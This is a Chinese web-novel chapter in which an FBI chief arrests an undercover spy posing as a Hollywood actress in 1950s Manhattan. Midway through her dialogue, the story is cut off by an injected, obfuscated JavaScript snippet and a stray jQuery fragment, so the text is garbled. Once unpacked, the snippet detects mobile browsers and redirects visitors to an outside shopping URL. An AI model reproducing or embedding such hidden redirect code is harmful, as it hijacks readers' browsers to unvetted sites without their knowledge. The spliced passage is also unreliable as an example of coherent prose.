纽约,曼哈顿。
晚上六点五十分。
东七十二街的这栋战前公寓楼,在暮色中显得格外安静。
门厅里的老式电梯发出轻微的机械运转声,镀金指针缓缓划过表盘。
六名便衣探员已在大堂、消防通道和后巷就位。行动由纽约分局局长克罗伊格亲自带队——这在FBI纽约分局的历史上并不常见。
总局传来的命令只有一句话:目标今晚八点前必须进入拘留室。
克罗伊格不知道一个好莱坞女演员为什么值得他亲自坐镇。
但他在这行干了三十年,学会了一件事:不该问的,不问。
晚上六点五十五分。
一辆珍珠白色的凯迪拉克CoupedeVille沿着东七十二街缓缓驶来,V8发动机的嗡鸣低沉而驯服,像一头收起了利爪的豹。
1955年款,海军上将格栅在路灯下泛着银光,白壁轮胎纤尘不染——整个好莱坞没几个女演员开这样的车。
可见斯拉夫利用李长安的资源还是赚了不少钱的!
斯拉夫将车精准地切进公寓楼侧面的预留车位,熄火,拔钥匙。
动作行云流水,没有一丝多余。
她今晚去了上东区共和党众议员卡伯特夫人的私人生日晚宴,算是小有收获。
高跟鞋在大理石地面上敲出清脆而有节奏的回响。
她走进门厅。
身为顶级特工的观察力让其发现今晚的异常,公寓出现了几个陌生面孔,是她从来没见过的。
于是,斯拉夫装作忽然想到什么。
不是那种警觉的停顿——只是一个女人突然想起什么、微微蹙眉的停顿。恰到好处。
“哦,天哪。”她轻声说,语气里带着一丝懊恼,转身朝门外走去。
沙发区的风衣女人瞬间绷紧了身体。
斯拉夫已经推开了门厅的玻璃门,朝街边走了两步,目光自然地扫过后巷的入口——那里有一个穿工装的男人正在“修理”路灯,工具包放在脚边,角度刚好封死通道。
她收回目光,望着空荡荡的街道,叹了口气。
“算了,明天再买。”
她转身往回走,经过门厅的concierge桌前,朝那位穿着制服的老先生微微点头:“晚上好,乔治。我的信箱有邮件吗?”
“有的,哈灵顿小姐。”老concierge从柜台下拿出一个小叠信件。
斯拉夫接过,翻看了一下——账单、粉丝来信、一份《综艺》周刊。她的动作很慢,慢到足够让余光确认:那辆面包车的发动机始终没熄,风衣女人已经站了起来。
六个人。
就在刚刚那点时间内,斯拉夫已经确定周围一共有6个FBI的人。
她将信件收进手包,朝老concierge笑了笑:“谢谢,晚安。”
然后她走向电梯,按下按钮。
跑不掉。
这个念头平静地滑过脑海。
别想着电影中那种特工一个打几十个。
大家都是受过训练的精英,凭什么你一个打几十个。
不带恐惧,甚至不带遗憾。
这一天早晚要来。
不是今天,也会是某一天。
她只是没想到,会是这样一个普通的周一。
电梯门打开。
她跨进去,转身,面朝门外。
就在门即将合拢的刹那,一只手从外侧轻轻挡了一下。
门重新打开。
克罗伊格站在门口,身后是两名年轻探员。
三个人都没有亮枪,也没有出示证件——不需要。
“哈灵顿小姐。”他的声音不高,却在这方寸空间里形成一种无形的压迫,“联邦调查局。我们需要您配合调查。”
他用了“您”。
斯拉夫看着这个男人,脸上浮起恰到好处的困惑。眉毛微微蹙起,嘴角有一丝礼貌的、尚未理解状况的笑意。
这不是训练营教的——这是她在好莱坞片场学到的。无辜者的第一反应不是愤怒,是不知所措。
“对不起,”她的声音轻柔,带着一丝刚参加完晚宴的慵懒,“您是……我不太明白。”
“请您跟我们走一趟。”克罗伊格没有解释。
斯拉夫眨了眨眼,目光从克罗伊格脸上移向他身后那两名年轻探员,又移回他脸上。
她轻轻笑了一下,像是遇到了什么荒诞的误会。
“一定是哪里搞错了。”她说,语气温和而坚定,“我是演员,今晚刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252144|176327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
参加完晚宴,我——”
她没有继续说下去。
克罗伊格的表情没有变化。
斯拉夫垂下眼睫,沉默了两秒。那声叹息很轻,轻到几乎听不见——然后她抬起脸,露出一丝无奈的、迁就的笑意。
“好吧。”她说,“我拿一下手包。”
她转身从电梯口的边几上拿起那只缎面晚宴包,动作从容,没有回头再看一眼身后的公寓走廊。
黑色轿车驶过皇后区大桥时,斯拉夫开口了。
“我能打个电话吗?”
坐在副驾驶的克罗伊格透过后视镜看了她一眼。
后座上,斯拉夫安静地坐着,双手仍然叠放在膝头的手包上,姿态和她在审讯室里将保持的一样——背脊挺直,面容平静。
“不好意思,这恐怕不行。”克罗伊格说。
他的语气很平淡,没有嘲讽,也没有解释的必要。
FBI抓人还让嫌疑人打电话?
要是她打给同伙把情报传出去了,他这个纽约分局局长就不用干了。
斯拉夫没有争辩。
她只是沉默了两秒,然后轻轻点了点头,像是一个通情达理的人理解了对方的难处。
但她的下一句话,让克罗伊格的眼神微微动了一下。
“那我能不能打给威尔逊先生?”
车内安静了一瞬。
司机下意识地透过后视镜瞥了一眼后座。
克罗伊格没有回头,但他的肩膀线条明显绷紧了一度。
要知道威威尔逊家族在纽约可是如雷贯耳。
身为FBI的纽约局长,可不想惹到这样的家族。
“肖恩·威尔逊?”他问。
“是的。”斯拉夫的声音很轻,带着一丝恰到好处的为难。
“我知道这不合程序。但如果您真的调查过我,您应该知道……我和威尔逊先生是朋友。如果我今晚突然失踪,他明天打电话找我找不到,可能会担心。也许会给别的朋友打电话询问。那样的话……事情可能会变得比较复杂。”
她没有把话说完。
但她的话已经说完了。
克罗伊格沉默了几秒。
“我会请示。”他说。
斯拉夫轻轻点头:“谢谢。”